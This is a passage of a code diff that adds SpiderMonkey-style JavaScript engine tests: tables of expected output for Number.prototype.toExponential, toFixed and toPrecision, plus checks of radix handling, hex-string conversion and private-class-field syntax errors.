+ [-Number.MAX_VALUE, 50, "-1.79769313486231570814527423731704356798070567525845e+308"],
+ [-Number.MAX_VALUE, 100, "-1.7976931348623157081452742373170435679807056752584499659891747680315726078002853876058955863276687817e+308"],
+ [Number.MIN_VALUE, undefined, "5e-324"],
+ [Number.MIN_VALUE, 0, "5e-324"],
+ [Number.MIN_VALUE, 1, "4.9e-324"],
+ [Number.MIN_VALUE, 10, "4.9406564584e-324"],
+ [Number.MIN_VALUE, 50, "4.94065645841246544176568792868221372365059802614325e-324"],
+ [Number.MIN_VALUE, 100, "4.9406564584124654417656879286822137236505980261432476442558568250067550727020875186529983636163599238e-324"],
+ [-Number.MIN_VALUE, undefined, "-5e-324"],
+ [-Number.MIN_VALUE, 0, "-5e-324"],
+ [-Number.MIN_VALUE, 1, "-4.9e-324"],
+ [-Number.MIN_VALUE, 10, "-4.9406564584e-324"],
+ [-Number.MIN_VALUE, 50, "-4.94065645841246544176568792868221372365059802614325e-324"],
+ [-Number.MIN_VALUE, 100, "-4.9406564584124654417656879286822137236505980261432476442558568250067550727020875186529983636163599238e-324"],
+];
+
+for (let [val, prec, expected] of values) {
+ assertEq(Number.prototype.toExponential.call(val, prec), expected);
+}
+
+if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+}
diff --git a/js/src/tests/non262/Number/toFixed-values.js b/js/src/tests/non262/Number/toFixed-values.js
new file mode 100644
index 0000000000..9b0b193948
--- /dev/null
+++ b/js/src/tests/non262/Number/toFixed-values.js
@@ -0,0 +1,118 @@
+let values = [
+ [-0, undefined, "0"],
+ [-0, 0, "0"],
+ [-0, 1, "0.0"],
+ [-0, 10, "0.0000000000"],
+ [-0, 50, "0.00000000000000000000000000000000000000000000000000"],
+ [-0, 100, "0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [0, undefined, "0"],
+ [0, 0, "0"],
+ [0, 1, "0.0"],
+ [0, 10, "0.0000000000"],
+ [0, 50, "0.00000000000000000000000000000000000000000000000000"],
+ [0, 100, "0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [NaN, undefined, "NaN"],
+ [NaN, 0, "NaN"],
+ [NaN, 1, "NaN"],
+ [NaN, 10, "NaN"],
+ [NaN, 50, "NaN"],
+ [NaN, 100, "NaN"],
+ [Infinity, undefined, "Infinity"],
+ [Infinity, 0, "Infinity"],
+ [Infinity, 1, "Infinity"],
+ [Infinity, 10, "Infinity"],
+ [Infinity, 50, "Infinity"],
+ [Infinity, 100, "Infinity"],
+ [-Infinity, undefined, "-Infinity"],
+ [-Infinity, 0, "-Infinity"],
+ [-Infinity, 1, "-Infinity"],
+ [-Infinity, 10, "-Infinity"],
+ [-Infinity, 50, "-Infinity"],
+ [-Infinity, 100, "-Infinity"],
+ [3.141592653589793, undefined, "3"],
+ [3.141592653589793, 0, "3"],
+ [3.141592653589793, 1, "3.1"],
+ [3.141592653589793, 10, "3.1415926536"],
+ [3.141592653589793, 50, "3.14159265358979311599796346854418516159057617187500"],
+ [3.141592653589793, 100, "3.1415926535897931159979634685441851615905761718750000000000000000000000000000000000000000000000000000"],
+ [-1, undefined, "-1"],
+ [-1, 0, "-1"],
+ [-1, 1, "-1.0"],
+ [-1, 10, "-1.0000000000"],
+ [-1, 50, "-1.00000000000000000000000000000000000000000000000000"],
+ [-1, 100, "-1.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [1, undefined, "1"],
+ [1, 0, "1"],
+ [1, 1, "1.0"],
+ [1, 10, "1.0000000000"],
+ [1, 50, "1.00000000000000000000000000000000000000000000000000"],
+ [1, 100, "1.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [-123456.78, undefined, "-123457"],
+ [-123456.78, 0, "-123457"],
+ [-123456.78, 1, "-123456.8"],
+ [-123456.78, 10, "-123456.7800000000"],
+ [-123456.78, 50, "-123456.77999999999883584678173065185546875000000000000000"],
+ [-123456.78, 100, "-123456.7799999999988358467817306518554687500000000000000000000000000000000000000000000000000000000000000000"],
+ [123456.78, undefined, "123457"],
+ [123456.78, 0, "123457"],
+ [123456.78, 1, "123456.8"],
+ [123456.78, 10, "123456.7800000000"],
+ [123456.78, 50, "123456.77999999999883584678173065185546875000000000000000"],
+ [123456.78, 100, "123456.7799999999988358467817306518554687500000000000000000000000000000000000000000000000000000000000000000"],
+ [100000000000000000000, undefined, "100000000000000000000"],
+ [100000000000000000000, 0, "100000000000000000000"],
+ [100000000000000000000, 1, "100000000000000000000.0"],
+ [100000000000000000000, 10, "100000000000000000000.0000000000"],
+ [100000000000000000000, 50, "100000000000000000000.00000000000000000000000000000000000000000000000000"],
+ [100000000000000000000, 100, "100000000000000000000.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [1e+21, undefined, "1e+21"],
+ [1e+21, 0, "1e+21"],
+ [1e+21, 1, "1e+21"],
+ [1e+21, 10, "1e+21"],
+ [1e+21, 50, "1e+21"],
+ [1e+21, 100, "1e+21"],
+ [-100000000000000000000, undefined, "-100000000000000000000"],
+ [-100000000000000000000, 0, "-100000000000000000000"],
+ [-100000000000000000000, 1, "-100000000000000000000.0"],
+ [-100000000000000000000, 10, "-100000000000000000000.0000000000"],
+ [-100000000000000000000, 50, "-100000000000000000000.00000000000000000000000000000000000000000000000000"],
+ [-100000000000000000000, 100, "-100000000000000000000.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [-1e+21, undefined, "-1e+21"],
+ [-1e+21, 0, "-1e+21"],
+ [-1e+21, 1, "-1e+21"],
+ [-1e+21, 10, "-1e+21"],
+ [-1e+21, 50, "-1e+21"],
+ [-1e+21, 100, "-1e+21"],
+ [Number.MAX_VALUE, undefined, "1.7976931348623157e+308"],
+ [Number.MAX_VALUE, 0, "1.7976931348623157e+308"],
+ [Number.MAX_VALUE, 1, "1.7976931348623157e+308"],
+ [Number.MAX_VALUE, 10, "1.7976931348623157e+308"],
+ [Number.MAX_VALUE, 50, "1.7976931348623157e+308"],
+ [Number.MAX_VALUE, 100, "1.7976931348623157e+308"],
+ [-Number.MAX_VALUE, undefined, "-1.7976931348623157e+308"],
+ [-Number.MAX_VALUE, 0, "-1.7976931348623157e+308"],
+ [-Number.MAX_VALUE, 1, "-1.7976931348623157e+308"],
+ [-Number.MAX_VALUE, 10, "-1.7976931348623157e+308"],
+ [-Number.MAX_VALUE, 50, "-1.7976931348623157e+308"],
+ [-Number.MAX_VALUE, 100, "-1.7976931348623157e+308"],
+ [Number.MIN_VALUE, undefined, "0"],
+ [Number.MIN_VALUE, 0, "0"],
+ [Number.MIN_VALUE, 1, "0.0"],
+ [Number.MIN_VALUE, 10, "0.0000000000"],
+ [Number.MIN_VALUE, 50, "0.00000000000000000000000000000000000000000000000000"],
+ [Number.MIN_VALUE, 100, "0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [-Number.MIN_VALUE, undefined, "-0"],
+ [-Number.MIN_VALUE, 0, "-0"],
+ [-Number.MIN_VALUE, 1, "-0.0"],
+ [-Number.MIN_VALUE, 10, "-0.0000000000"],
+ [-Number.MIN_VALUE, 50, "-0.00000000000000000000000000000000000000000000000000"],
+ [-Number.MIN_VALUE, 100, "-0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+];
+
+for (let [val, prec, expected] of values) {
+ assertEq(Number.prototype.toFixed.call(val, prec), expected);
+}
+
+if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+}
diff --git a/js/src/tests/non262/Number/toPrecision-values.js b/js/src/tests/non262/Number/toPrecision-values.js
new file mode 100644
index 0000000000..fb59cf8597
--- /dev/null
+++ b/js/src/tests/non262/Number/toPrecision-values.js
@@ -0,0 +1,100 @@
+let values = [
+ [-0, undefined, "0"],
+ [-0, 1, "0"],
+ [-0, 10, "0.000000000"],
+ [-0, 50, "0.0000000000000000000000000000000000000000000000000"],
+ [-0, 100, "0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [0, undefined, "0"],
+ [0, 1, "0"],
+ [0, 10, "0.000000000"],
+ [0, 50, "0.0000000000000000000000000000000000000000000000000"],
+ [0, 100, "0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [NaN, undefined, "NaN"],
+ [NaN, 1, "NaN"],
+ [NaN, 10, "NaN"],
+ [NaN, 50, "NaN"],
+ [NaN, 100, "NaN"],
+ [Infinity, undefined, "Infinity"],
+ [Infinity, 1, "Infinity"],
+ [Infinity, 10, "Infinity"],
+ [Infinity, 50, "Infinity"],
+ [Infinity, 100, "Infinity"],
+ [-Infinity, undefined, "-Infinity"],
+ [-Infinity, 1, "-Infinity"],
+ [-Infinity, 10, "-Infinity"],
+ [-Infinity, 50, "-Infinity"],
+ [-Infinity, 100, "-Infinity"],
+ [3.141592653589793, undefined, "3.141592653589793"],
+ [3.141592653589793, 1, "3"],
+ [3.141592653589793, 10, "3.141592654"],
+ [3.141592653589793, 50, "3.1415926535897931159979634685441851615905761718750"],
+ [3.141592653589793, 100, "3.141592653589793115997963468544185161590576171875000000000000000000000000000000000000000000000000000"],
+ [-1, undefined, "-1"],
+ [-1, 1, "-1"],
+ [-1, 10, "-1.000000000"],
+ [-1, 50, "-1.0000000000000000000000000000000000000000000000000"],
+ [-1, 100, "-1.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [1, undefined, "1"],
+ [1, 1, "1"],
+ [1, 10, "1.000000000"],
+ [1, 50, "1.0000000000000000000000000000000000000000000000000"],
+ [1, 100, "1.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [-123456.78, undefined, "-123456.78"],
+ [-123456.78, 1, "-1e+5"],
+ [-123456.78, 10, "-123456.7800"],
+ [-123456.78, 50, "-123456.77999999999883584678173065185546875000000000"],
+ [-123456.78, 100, "-123456.7799999999988358467817306518554687500000000000000000000000000000000000000000000000000000000000"],
+ [123456.78, undefined, "123456.78"],
+ [123456.78, 1, "1e+5"],
+ [123456.78, 10, "123456.7800"],
+ [123456.78, 50, "123456.77999999999883584678173065185546875000000000"],
+ [123456.78, 100, "123456.7799999999988358467817306518554687500000000000000000000000000000000000000000000000000000000000"],
+ [100000000000000000000, undefined, "100000000000000000000"],
+ [100000000000000000000, 1, "1e+20"],
+ [100000000000000000000, 10, "1.000000000e+20"],
+ [100000000000000000000, 50, "100000000000000000000.00000000000000000000000000000"],
+ [100000000000000000000, 100, "100000000000000000000.0000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [1e+21, undefined, "1e+21"],
+ [1e+21, 1, "1e+21"],
+ [1e+21, 10, "1.000000000e+21"],
+ [1e+21, 50, "1000000000000000000000.0000000000000000000000000000"],
+ [1e+21, 100, "1000000000000000000000.000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [-100000000000000000000, undefined, "-100000000000000000000"],
+ [-100000000000000000000, 1, "-1e+20"],
+ [-100000000000000000000, 10, "-1.000000000e+20"],
+ [-100000000000000000000, 50, "-100000000000000000000.00000000000000000000000000000"],
+ [-100000000000000000000, 100, "-100000000000000000000.0000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [-1e+21, undefined, "-1e+21"],
+ [-1e+21, 1, "-1e+21"],
+ [-1e+21, 10, "-1.000000000e+21"],
+ [-1e+21, 50, "-1000000000000000000000.0000000000000000000000000000"],
+ [-1e+21, 100, "-1000000000000000000000.000000000000000000000000000000000000000000000000000000000000000000000000000000"],
+ [Number.MAX_VALUE, undefined, "1.7976931348623157e+308"],
+ [Number.MAX_VALUE, 1, "2e+308"],
+ [Number.MAX_VALUE, 10, "1.797693135e+308"],
+ [Number.MAX_VALUE, 50, "1.7976931348623157081452742373170435679807056752584e+308"],
+ [Number.MAX_VALUE, 100, "1.797693134862315708145274237317043567980705675258449965989174768031572607800285387605895586327668782e+308"],
+ [-Number.MAX_VALUE, undefined, "-1.7976931348623157e+308"],
+ [-Number.MAX_VALUE, 1, "-2e+308"],
+ [-Number.MAX_VALUE, 10, "-1.797693135e+308"],
+ [-Number.MAX_VALUE, 50, "-1.7976931348623157081452742373170435679807056752584e+308"],
+ [-Number.MAX_VALUE, 100, "-1.797693134862315708145274237317043567980705675258449965989174768031572607800285387605895586327668782e+308"],
+ [Number.MIN_VALUE, undefined, "5e-324"],
+ [Number.MIN_VALUE, 1, "5e-324"],
+ [Number.MIN_VALUE, 10, "4.940656458e-324"],
+ [Number.MIN_VALUE, 50, "4.9406564584124654417656879286822137236505980261432e-324"],
+ [Number.MIN_VALUE, 100, "4.940656458412465441765687928682213723650598026143247644255856825006755072702087518652998363616359924e-324"],
+ [-Number.MIN_VALUE, undefined, "-5e-324"],
+ [-Number.MIN_VALUE, 1, "-5e-324"],
+ [-Number.MIN_VALUE, 10, "-4.940656458e-324"],
+ [-Number.MIN_VALUE, 50, "-4.9406564584124654417656879286822137236505980261432e-324"],
+ [-Number.MIN_VALUE, 100, "-4.940656458412465441765687928682213723650598026143247644255856825006755072702087518652998363616359924e-324"],
+];
+
+for (let [val, prec, expected] of values) {
+ assertEq(Number.prototype.toPrecision.call(val, prec), expected);
+}
+
+if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+}
diff --git a/js/src/tests/non262/Number/toString-radix-handling.js b/js/src/tests/non262/Number/toString-radix-handling.js
new file mode 100644
index 0000000000..dd91675a27
--- /dev/null
+++ b/js/src/tests/non262/Number/toString-radix-handling.js
@@ -0,0 +1,37 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 647385;
+var summary =
+ "Number.prototype.toString should use ToInteger on the radix and should " +
+ "throw a RangeError if the radix is bad";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function test(r)
+{
+ try
+ {
+ 5..toString(r);
+ throw "should have thrown";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof RangeError, true, "expected a RangeError, got " + e);
+ }
+}
+test(Math.pow(2, 32) + 10);
+test(55);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Number/tonumber-string-hex.js b/js/src/tests/non262/Number/tonumber-string-hex.js
new file mode 100644
index 0000000000..ed1e9b9dd4
--- /dev/null
+++ b/js/src/tests/non262/Number/tonumber-string-hex.js
@@ -0,0 +1,38 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 872853;
+var summary = 'Various tests of ToNumber(string), particularly +"0x" being NaN';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(+"0x", NaN);
+assertEq(+"\t0x", NaN);
+assertEq(+"0x\n", NaN);
+assertEq(+"\n0x\t", NaN);
+assertEq(+"0x0", 0);
+assertEq(+"0xa", 10);
+assertEq(+"0xff", 255);
+assertEq(+"-0x", NaN);
+assertEq(+"-0xa", NaN);
+assertEq(+"-0xff", NaN);
+assertEq(+"0xInfinity", NaN);
+assertEq(+"+Infinity", Infinity);
+assertEq(+"-Infinity", -Infinity);
+assertEq(+"\t+Infinity", Infinity);
+assertEq(+"-Infinity\n", -Infinity);
+assertEq(+"+ Infinity", NaN);
+assertEq(+"- Infinity", NaN);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/PrivateName/browser.js b/js/src/tests/non262/PrivateName/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/browser.js
diff --git a/js/src/tests/non262/PrivateName/constructor-args.js b/js/src/tests/non262/PrivateName/constructor-args.js
new file mode 100644
index 0000000000..970d809921
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/constructor-args.js
@@ -0,0 +1,23 @@
+class A {
+ #x = "hello";
+ constructor(o = this.#x) {
+ this.value = o;
+ }
+};
+
+var a = new A;
+assertEq(a.value, "hello");
+
+
+class B extends A {
+ constructor() {
+ // Cannot access 'this' until super() called.
+ super();
+ assertEq("value" in this, true);
+ assertEq(this.value, "hello");
+ }
+}
+
+var b = new B;
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/error-locations.js b/js/src/tests/non262/PrivateName/error-locations.js
new file mode 100644
index 0000000000..0536b5a1b2
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/error-locations.js
@@ -0,0 +1,34 @@
+// |reftest|
+function assertLineAndColumn(str, line, column) {
+ try {
+ eval(str);
+ throw 'didn\'t syntaxerror, bad.'
+ } catch (e) {
+ assertEq(e instanceof SyntaxError, true);
+ assertEq(e.lineNumber, line);
+ assertEq(e.columnNumber, column);
+ }
+}
+
+assertLineAndColumn(`class A { g() { return this.#x; }}`, 1, 28);
+// Make sure we're reporting the first error, if there are multiple, in class
+// exit context;
+assertLineAndColumn(
+ `class A { g() { return this.#x; } y() { return this.#z + this.#y; } }`,
+ 1, 28);
+assertLineAndColumn(`this.#x`, 1, 5);
+// Make sure we're reporting the first error, if there are multiple, in
+// non-class context;
+assertLineAndColumn(`this.#x; this.#y; this.#z`, 1, 5);
+
+assertLineAndColumn(
+ `class A {
+g() { return this.#x; }}`,
+ 2, 18);
+assertLineAndColumn(
+ `class A {
+
+g() { return this.#x; } y() { return this.#y; }}`,
+ 3, 18);
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/error-outside-class.js b/js/src/tests/non262/PrivateName/error-outside-class.js
new file mode 100644
index 0000000000..8ddb380872
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/error-outside-class.js
@@ -0,0 +1,13 @@
+
+// Can't reference a private field without an object
+assertThrowsInstanceOf(() => eval('#x'), SyntaxError);
+
+// Can't reference a private field without an enclosing class
+assertThrowsInstanceOf(() => eval('this.#x'), SyntaxError);
+
+// Can't reference a private field in a random function outside a class context
+assertThrowsInstanceOf(
+ () => eval('function foo() { return this.#x'), SyntaxError);
+
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/home-object-when-preceded-by-computed-key.js b/js/src/tests/non262/PrivateName/home-object-when-preceded-by-computed-key.js
new file mode 100644
index 0000000000..ef53a1304b
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/home-object-when-preceded-by-computed-key.js
@@ -0,0 +1,34 @@
+class Base {
+ m() { return "pass"; }
+ static m() { return "fail"; }
+}
+
+var key = {
+ toString() {
+ return "computed";
+ }
+};
+
+let obj1 = new class extends Base {
+ [key]() {}
+
+ // Private method with a directly preceding method using a computed key led
+ // to assigning the wrong home object.
+ #m() { return super.m(); }
+ m() { return this.#m(); }
+};
+
+assertEq(obj1.m(), "pass");
+
+let obj2 = new class extends Base {
+ // Same test as above, but this time preceded by a static method.
+ static [key]() {}
+
+ #m() { return super.m(); }
+ m() { return this.#m(); }
+};
+
+assertEq(obj2.m(), "pass");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/illegal-delete.js b/js/src/tests/non262/PrivateName/illegal-delete.js
new file mode 100644
index 0000000000..464b7dd685
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/illegal-delete.js
@@ -0,0 +1,94 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs newGlobal()
+
+class A {
+ #x = {a: 1};
+ b = null;
+ es(s) {
+ eval(s);
+ }
+}
+
+var a = new A;
+a.b = new A;
+
+assertThrowsInstanceOf(() => a.es('delete this.#x'), SyntaxError);
+assertThrowsInstanceOf(() => a.es('delete (this.#x)'), SyntaxError);
+assertThrowsInstanceOf(() => a.es('delete this?.#x'), SyntaxError);
+assertThrowsInstanceOf(() => a.es('delete this?.b.#x'), SyntaxError);
+// Should be OK
+a.es('delete (0, this.#x.a)')
+a.es('delete this?.b.#x.a')
+
+
+// Make sure the above works in a different context, with emphasis on
+// lazy/syntax parsing.
+function eval_and_report(str) {
+ var classTest = `
+ class B {
+ #x = {a: 1};
+ b = null;
+ test() {
+ ${str};
+ }
+ }
+ var b = new B;
+ b.b = new B;
+ b.test();
+ `;
+
+ var str = `
+ function f(run) {
+ if (run) {
+ ${classTest}
+ }
+ }
+ f(run)`;
+
+
+ var throws = [];
+ // Evalutate in a new global; has the advantage that it makes successes
+ // idempotent.
+ var g = newGlobal();
+ g.run = false;
+
+ try {
+ // The idea is that this is a full parse
+ evaluate(classTest, {global: g});
+ } catch (e) {
+ throws.push(e);
+ }
+
+ try {
+ // The idea is this is a lazy parse; however, fields currently
+ // disable lazy parsing, so right now
+ evaluate(str, {global: g});
+ } catch (e) {
+ throws.push(e);
+ }
+
+ return throws;
+}
+
+function assertSyntaxError(str) {
+ var exceptions = eval_and_report(str);
+ assertEq(exceptions.length, 2);
+ for (var e of exceptions) {
+ assertEq(/SyntaxError/.test(e.name), true);
+ }
+}
+
+function assertNoSyntaxError(str) {
+ var exceptions = eval_and_report(str);
+ assertEq(exceptions.length, 0);
+}
+
+assertSyntaxError('delete this.#x');
+assertSyntaxError('delete (this.#x)');
+assertSyntaxError('delete this?.#x');
+assertSyntaxError('delete this?.b.#x');
+// Should be OK
+assertNoSyntaxError('delete (0, this.#x.a)')
+assertNoSyntaxError('delete this?.b.#x.a')
+
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/illegal-in-class-context.js b/js/src/tests/non262/PrivateName/illegal-in-class-context.js
new file mode 100644
index 0000000000..85b34563ec
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/illegal-in-class-context.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+assertThrowsInstanceOf(() => eval(`class A { #x; #x; }`), SyntaxError);
+
+// No computed private fields
+assertThrowsInstanceOf(
+ () => eval(`var x = "foo"; class A { #[x] = 20; }`), SyntaxError);
+
+function assertThrowsWithMessage(f, msg) {
+ var fullmsg;
+ try {
+ f();
+ } catch (exc) {
+ if (exc.message.normalize() === msg.normalize())
+ return;
+
+ fullmsg = `Assertion failed: expected message '${msg}', got '${exc.message}'`;
+ }
+
+ if (fullmsg === undefined)
+ fullmsg = `Assertion failed: expected exception, no exception thrown`;
+
+ throw new Error(fullmsg);
+}
+
+assertThrowsWithMessage(() => eval(`class A { #x; h(o) { return !#x; }}`),
+ "invalid use of private name in unary expression without object reference");
+assertThrowsWithMessage(() => eval(`class A { #x; h(o) { return 1 + #x in o; }}`),
+ "invalid use of private name due to operator precedence");
+
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/illegal-in-identifier-context.js b/js/src/tests/non262/PrivateName/illegal-in-identifier-context.js
new file mode 100644
index 0000000000..e7e232bf69
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/illegal-in-identifier-context.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// Private names can't appear in contexts where plain identifiers are expected.
+
+// Private names as binding identifiers.
+assertThrowsInstanceOf(() => eval(`var #a;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`let #a;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`const #a = 0;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`function #a(){}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`function f(#a){}`), SyntaxError);
+
+// With escape sequences (leading and non-leading case).
+assertThrowsInstanceOf(() => eval(String.raw`var #\u0061;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`var #a\u0061;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`let #\u0061;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`let #a\u0061;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`const #\u0061 = 0;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`const #a\u0061 = 0;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`function #\u0061(){}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`function #a\u0061(){}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`function f(#\u0061){}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`function f(#a\u0061){}`), SyntaxError);
+
+
+// Private names as label identifiers.
+assertThrowsInstanceOf(() => eval(`#a: ;`), SyntaxError);
+
+// With escape sequences (leading and non-leading case).
+assertThrowsInstanceOf(() => eval(String.raw`#\u0061: ;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`#a\u0061: ;`), SyntaxError);
+
+
+// Private names as identifier references.
+assertThrowsInstanceOf(() => eval(`#a = 0;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`typeof #a;`), SyntaxError);
+
+// With escape sequences (leading and non-leading case).
+assertThrowsInstanceOf(() => eval(String.raw`#\u0061 = 0;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`#a\u0061 = 0;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`typeof #\u0061;`), SyntaxError);
+assertThrowsInstanceOf(() => eval(String.raw`typeof #a\u0061;`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/illegal-in-object-context.js b/js/src/tests/non262/PrivateName/illegal-in-object-context.js
new file mode 100644
index 0000000000..9cc1488376
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/illegal-in-object-context.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// Private names aren't valid in object literals.
+
+assertThrowsInstanceOf(() => eval(`var o = {#a: 0};`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`var o = {#a};`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`var o = {#a(){}};`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`var o = {get #a(){}};`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`var o = {set #a(v){}};`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`var o = {*#a(v){}};`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`var o = {async #a(v){}};`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`var o = {async *#a(v){}};`), SyntaxError);
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/lexical-presence.js b/js/src/tests/non262/PrivateName/lexical-presence.js
new file mode 100644
index 0000000000..ce8588a0f1
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/lexical-presence.js
@@ -0,0 +1,55 @@
+// |reftest|
+
+// Verify that private fields are enabled.
+class A {
+ #x;
+};
+
+function assertThrowsSyntaxError(str) {
+ assertThrowsInstanceOf(() => eval(str), SyntaxError); // Direct Eval
+ assertThrowsInstanceOf(() => (1, eval)(str), SyntaxError); // Indirect Eval
+ assertThrowsInstanceOf(() => Function(str), SyntaxError); // Function
+}
+
+assertThrowsSyntaxError(`
+ class B {
+ g() {
+ return this.#x;
+ }
+ };
+`);
+
+assertThrowsSyntaxError(`
+with (new class A { #x; }) {
+ class B {
+ #y;
+ constructor() { return this.#x; }
+ }
+ }
+`);
+
+// Make sure we don't create a generic binding for #x.
+with (new class {
+ #x = 12;
+}) {
+ assertEq('#x' in this, false);
+}
+
+// Try to fetch a non-existing field using different
+// compilation contexts
+function assertNonExisting(fetchCode) {
+ source = `var X = class {
+ b() {
+ ${fetchCode}
+ }
+ }
+ var a = new X;
+ a.b()`
+ assertThrowsInstanceOf(() => eval(source), SyntaxError);
+}
+
+assertNonExisting(`return eval("this.#x")"`);
+assertNonExisting(`return (1,eval)("this.#x")`);
+assertNonExisting(`var f = Function("this.#x"); return f();`);
+
+if (typeof reportCompare === 'function') reportCompare(0, 0); \ No newline at end of file
diff --git a/js/src/tests/non262/PrivateName/modify-non-extensible.js b/js/src/tests/non262/PrivateName/modify-non-extensible.js
new file mode 100644
index 0000000000..7e9af31895
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/modify-non-extensible.js
@@ -0,0 +1,75 @@
+// |reftest|
+
+// Returns the argument in the constructor to allow stamping private fields into
+// arbitrary objects.
+class OverrideBase {
+ constructor(o) {
+ return o;
+ }
+};
+
+class A extends OverrideBase {
+ #a = 1;
+ g() {
+ return this.#a
+ }
+
+ static gs(o) {
+ return o.#a;
+ }
+ static inca(obj) {
+ obj.#a++;
+ }
+}
+
+var obj = {};
+Object.seal(obj);
+new A(obj); // Add #a to obj, but not g.
+assertEq('g' in obj, false);
+assertEq(A.gs(obj), 1);
+A.inca(obj);
+assertEq(A.gs(obj), 2);
+
+// Ensure that the object remains non-extensible
+obj.h = 'hi'
+assertEq('h' in obj, false);
+
+
+Object.freeze(obj);
+A.inca(obj); // Despite being frozen, private names are modifiable.
+assertEq(A.gs(obj), 3);
+assertEq(Object.isFrozen(obj), true);
+
+var proxy = new Proxy({}, {});
+assertEq(Object.isFrozen(proxy), false);
+
+new A(proxy);
+assertEq(A.gs(proxy), 1);
+
+// Note: this doesn't exercise the non-native object
+// path in TestIntegrityLevel like you might expect.
+//
+// For that see below.
+Object.freeze(proxy);
+assertEq(Object.isFrozen(proxy), true);
+
+A.inca(proxy);
+assertEq(A.gs(proxy), 2)
+
+var target = { a: 10 };
+Object.freeze(target);
+new A(target);
+assertEq(Object.isFrozen(target), true)
+
+var getOwnKeys = [];
+var proxy = new Proxy(target, {
+ getOwnPropertyDescriptor: function (target, key) {
+ getOwnKeys.push(key);
+ return Reflect.getOwnPropertyDescriptor(target, key);
+ },
+});
+
